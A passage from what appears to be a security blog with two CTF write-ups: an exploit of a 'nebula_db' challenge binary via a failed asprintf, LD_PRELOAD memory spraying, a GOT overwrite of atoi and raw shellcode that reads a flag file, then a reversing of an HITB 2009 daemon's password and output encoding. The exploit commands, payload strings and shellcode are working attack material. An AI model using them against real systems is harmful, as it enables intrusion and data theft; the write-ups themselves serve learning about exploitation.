        printf("Enter amount of Death Sticks: ");
        fgets(amount, sizeof(amount) - 1, stdin);

        if (atoi(amount) <= 0) {
                fprintf(stderr, "Insert a real amount please!\n");
                return NULL;
        }

        if (entry > DB_SIZE - 1) {
                fprintf(stderr, "Database already full!\n");
                return NULL;
        }

        return insert_new_order(entry, name, amount);

}

int print_database(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                printf("%s\n", db[i]);

        return 0;
}

int exit_free(unsigned int entry)
{
        unsigned int i;

        for (i = 0; i < entry; i++)
                free(db[i]);

        return 0;
}

int main(int argc, char **argv)
{
        char choice[256], *ret;
        unsigned int entry = 0, len, i;

        puts(
                "Nebula Database set up!\n"
                "Enter your choice of action:\n"
                "1 - Insert new order\n"
                "2 - Edit order\n"
                "3 - List orders\n"
                "4 - Exit\n"
        );

        while (1) {(4)
                printf("Your choice: ");
                fgets(choice, sizeof(choice) - 1, stdin);
                switch (atoi(choice)) {
                        case 1:
                        ret = enter_new_order(entry);

                        if (ret == NULL) {
                                fprintf(stderr, "Error inserting new order!\n");
                                break;
                        }

                        db[entry] = ret;
                        entry++;(2)
                        break;

                        case 2:
                        printf("Enter the ID of your order: ");
                        fgets(choice, sizeof(choice) - 1, stdin);

                        if (edit_entry(choice, entry) == -1)
                                fprintf(stderr, "That entry does not exist!\n");

                        break;

                        case 3:
                        print_database(entry);
                        break;

                        case 4:
                        return exit_free(entry);

                        default:
                        fprintf(stderr, "Option does not exist\n");
                }
        }

        return 0;
}

As they said, the challenge is a small db management, it save name and amount of orders in an array up to 256 record. You can add or edit a record.
So the funny part is:

  ret = asprintf(&ptr, "ID: %d: Name: %s Amount: %s", entry, name, amount);
   if (ret == 0)
                return NULL;

And after reading manpages of asprintf, i figured out there is a problem when using it without fully understand what it returned, so return value indicate how many bytes it printed, and the funny part is when it failed, it will return -1 but programmer is not check for that case, they think when it will return 0 mean it failed.
It mean we can still increase entry value at (2) without create any new record. It basic will lead to double free memory corruption error. So next thing is try to figure out how to force asprintf return -1 ( or force it can’t alloc any memory ). After getting help from rd and xichzo, we found ulimit do the tricks:

suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 4
*** glibc detected *** ./n: double free or corruption (out): 0x08049118 ***
Aborted (core dumped)
suto@ubuntu:~$

After getting here, i see another way can lead to successful exploitation. When asprintf fail, it will use ptr(3) at a result for main program use to keep track a record, somehow we can make this ptr point to some where we want and edit_entry will take care the rest to write a value we control to that address(since ptr is use without initialized)
But i can’t find anyway to do that, so i thinking another solution.
And i wonder if when the first alloc failt, so it will use the original value of at that address. After some check i’m stuck cause i can’t not do anything without this default value.
I try some google in hopeless :p with keyword: “control uninitialized memory”
At the first resutls is:
http://drosenbe.blogspot.com/2010/04/controlling-uninitialized-memory-with.html

Another trick to control memory at the begining of process execution. Let’s check:

suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "A"*20000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db
ERROR: ld.so: object '<A>*20000...
 from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Your choice: 1
Enter a Name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Enter amount of Death Sticks: 1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
Your choice: 2
Enter the ID of your order: 0
Segmentation fault (core dumped)
suto@ubuntu:~$

So if this tricks work, we will have a write to address at 0×41414141.

(gdb) x/i $eip
=> 0xb764b706:  movdqu (%edi),%xmm1
(gdb) i r $edi
edi            0x41414141       1094795585
(gdb) bt
#0  0xb764b706 in ?? () from /lib/i386-linux-gnu/libc.so.6
#1  0x0804864c in edit_entry ()
#2  0x08048a04 in main ()

So this is all i want :p Next things is find some where to write, and i choose GOT section, first thing i trying is printf@GOT and using a hardcode address to return, and i stupid try to do that to the end of the game :(.
After that, thinking a little bit, i got another solution:
After the calling edit_entry ( where we can directly write to GOT section), program will return to while loop at (4) and continue execute, then i see a good candidate to overwrite is atoi, why? cause after fgets at (5) eax will point to our string, and we will use call *eax gadget to execute our shellcode.
And finally:

export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`

This will force program wirte to atoi@PLT and

suto@ubuntu:~$ objdump -d n | grep call | grep eax
 80485a8:       ff 14 85 08 90 04 08    call   *0x8049008(,%eax,4)
 80485ef:       ff d0                   call   *%eax
 8048b1b:       ff d0                   call   *%eax
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+"\x1b\x8b\x04\x08"*40+"\xcc"*400' > input
suto@ubuntu:~$ bash
suto@ubuntu:~$ ulimit -s unlimited
suto@ubuntu:~$ export LD_PRELOAD=`python -c 'print "\x18\x91\x04\x08"*4000+"\xcc"*1000'`
suto@ubuntu:~$ ulimit -c unlimited
suto@ubuntu:~$  ulimit -v 1795
suto@ubuntu:~$ ./nebula_db < input
ERROR: ld.so: object from LD_PRELOAD cannot be preloaded: ignored.
Nebula Database set up!
Enter your choice of action:
1 - Insert new order
2 - Edit order
3 - List orders
4 - Exit

Trace/breakpoint trap (core dumped)
.......
(gdb) x/20x $eip
0xbfa33571:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33581:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa33591:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335a1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc
0xbfa335b1:     0xcccccccc      0xcccccccc      0xcccccccc      0xcccccccc

So you can replace \xcc with a shellcode to read the flag key file.
Here is my shellcode to read /home/suto/flag and write to /tmp/flag: ( assembly source)

char shellcode[] =
        "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41"
        "\xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3"
        "\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1"
        "\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0"
        "\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff"
        "\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67"
        "\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";
suto@ubuntu:~$ python -c 'print "1\n"+"A"*250+"\n"+"1"*250+"\n"+"2\n0\n"+  "\xeb\x44\x5b\x31\xc0\x88\x43\x0f\xb0\x05\xb9\x42\x44\x41\x41       \xc1\xe1\x14\xc1\xe9\x14\x66\xba\xe4\x01\xcd\x80\x50\x83\xc3
\x10\x31\xc0\xb0\x05\xcd\x80\x5b\x50\xb0\xc8\x29\xc4\x89\xe1
\x89\xc2\x31\xc0\xb0\x03\xcd\x80\xb0\xc8\x01\xc4\x5b\x31\xc0
\xb0\x04\xcd\x80\x31\xc0\xb0\x01\xcd\x80\xe8\xb7\xff\xff\xff
\x2f\x68\x6f\x6d\x65\x2f\x73\x75\x74\x6f\x2f\x66\x6c\x61\x67
\x41\x2f\x74\x6d\x70\x2f\x66\x6c\x61\x67";' > input
suto@ubuntu:~$./nebula_db < input
suto@ubuntu:~$cat /tmp/flag
hello

Finally,congratz to bobsleigh is the only team solved it.
Thanks fluzfinger team for a great ctf. See u guys in next year!

–suto–

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

HITB Daemon1 Solution

January 20, 2010 by suto · 1 Comment 

Here is my next solution for HITB CTF 2009 Daemon1. Similar to daemon 6, the flag is the content of errorcode.txt file located in the same directory with daemon’s binary.

home suto # netstat -tulpan
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN   6174/daemon1

So you can see it listens on port 4444. Next I tried to find where the daemon processes my input.

.text:080494F1                 push    eax
.text:080494F2                 call    _recv
.text:080494F7                 add     esp, 10h
.text:080494FA                 cmp     eax, 0
.text:080494FD                 jle     loc_80495D2
.text:08049503                 push    esi
.text:08049504                 push    eax
.text:08049505                 lea     esi, [ebp-538h]
.text:0804950B                 push    esi
.text:0804950C                 mov     ecx, [ebp-548h]
.text:08049512                 push    ecx
.text:08049513                 call    sub_804A2B0
.text:08049518                 mov     eax, offset aIcvykbmukcrwdp ; &quot;iCvYkBMuKcrwDPkAqmCFgOKVeV34&quot;
.text:0804951D                 mov     ecx, 1Ch
.text:08049522                 cld
.text:08049523                 mov     esi, [ebp-560h]
.text:08049529                 mov     edi, eax
.text:0804952B                 repe cmpsb
.text:0804952D                 setnbe  dl
.text:08049530                 setb    al
.text:08049533                 add     esp, 10h
.text:08049536                 cmp     dl, al
.text:08049538                 jnz     loc_80495FF
.text:0804953E                 call    sub_8048F10
.text:08049543                 push    0
.text:08049545                 sub     esp, 8
.text:08049548                 push    offset s
.text:0804954D                 call    _strlen
.text:08049552                 add     esp, 0Ch
.text:08049555                 push    eax
.text:08049556                 push    offset s
.text:0804955B
.text:0804955B loc_804955B:                            ; CODE XREF: .text:08049608j
.text:0804955B                 mov     edx, [ebp-548h]
.text:08049561                 push    edx
.text:08049562                 call    _send

And here is what sub_8048F10 does:

lea     edi, [ebp+var_40]
mov     esi, offset unk_80553D2
mov     ecx, edx
rep movsd
mov     ax, ds:word_80553EA
mov     [edi], ax
push    (offset aSocketError+0Bh) ; modes
push    offset filename ; &quot;/home/d1/errorcode.txt&quot;
call    _fopen
&lt;snip&gt;

The code compares “iCvYkBMuKcrwDPkAqmCFgOKVeV34” with the input string. If it’s matched, the encrypted content of errorcode.txt will be returned.

home suto #nc localhost 4444

iCvYkBMuKcrwDPkAqmCFgOKVeV34

ddddddddddPfddddfdssqpfdddddddddhfh

“ddddddddddPfddddfdssqpfdddddddddhfh” is the return data. It’s the encrypted content of errorcode.txt (which is “1″ in this case).

After few hours trying to reverse the binary, I got stuck with the encoding algorithm so I tried to analysis the output data instead.

Input: 1
Ouput: ddddddddddPfddddfdssqpfdddddddddhfh

Input: 2
Output: ddddddddddPfdddddfdssqpfhfh

Input: 3
Output: ddddddddddPfdddddfdssqpfdhfh

Input: 4
Output: ddddddddddPfdddddfdssqpfddhfh

==>Output string begins with ddddddddddPfdddddfdssqpf and ends with hfh, number 1 is the special case.

9
ddddddddddPfdddddfdssqpfdddddddhfh

Next, we test with 2 numbers:

24
ddddddddddPfdddddfdssqpfhddhfh

3 numbers:

247
ddddddddddPfdddddfdssqpfhddhdddhfh

We can see that the string with red color is the same as the output for 24, and the green part is addition part for 7, so I guess h is character to begin a new number, let’s see with 6 numbers:

247398
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh

Now the algorithm is more clear :), the length of input number is the number of ‘h’ in the encoded data + 1 (we don’t count the last ‘hfh’). But how about q and d?

From 247398:
ddddddddddPfdddddfdssqpfhddhdddhqqqqhddddddhqhfh
4 is hdd
7 is hddd
3 is hqqqq
9 is hdddddd
8 is hq

Yeah! when the next number is increased, it uses a d for +1 (7 = 4 + 3 = hddd).
q is used for decrease (-1).

35896742
ddddddddddPfdddddfdssqp fd[3] hdd[5] hddd[8] hd[9] hqqq[6] hd[7] hqqq[4] hqq[2]hfh

Why 3? You answer yourself !

Now we come back to special cases for number 1 and 0

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

Here is output for 35896742
ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

The different parts are marked with Red color.

Put 1 in the middle:
3589617421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhfdddddddddhsdhqqqhqqhfhfh

358967421
ddddddddddPfdddddfddddfdsssqpfdhddhdddhdhqqqhdhqqqhqqhfdddddddddhfh

35896742

ddddddddddPfdddddfdssqpfdhddhdddhdhqqqhdhqqqhqqhfh

So the output will be fdddddddddh for number 1. If 1 is in the middle, it will be dddfds.
And another notes is hsd , one “d” character because it is calculated from the number before “1″ – 6- and increases it to -7-.

Another test:

4668981445134
ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfddddddddd(1)hsqqqq(4)h(4)

hd(5) hf(1)hs qq(3) hd(4) hffh

Now replace the number 1 with 0 from previous input:

ddddddddddPfdddddfddddfdsssqpfdd(4)hdd(6)h(6)hdd(8)hd(9)hq(8)hfdddddddd(0)hsqqqq(4)h(4)hd(5)

hf(0)hsqq(3) hd(4)hffh

We see 0 is quite similar to 1 with one ‘d’ less.

Now it’s just a simple task to decode the return content of errorcode.txt (flag) from the daemon.

And it’s all about daemon1 in HITB CTF 2009!

Share and Enjoy:
  • Digg
  • del.icio.us
  • Facebook
  • Google Bookmarks
  • Add to favorites
  • Reddit
  • Technorati
  • Tumblr
  • Twitter
  • Slashdot
  • Identi.ca

Next Page »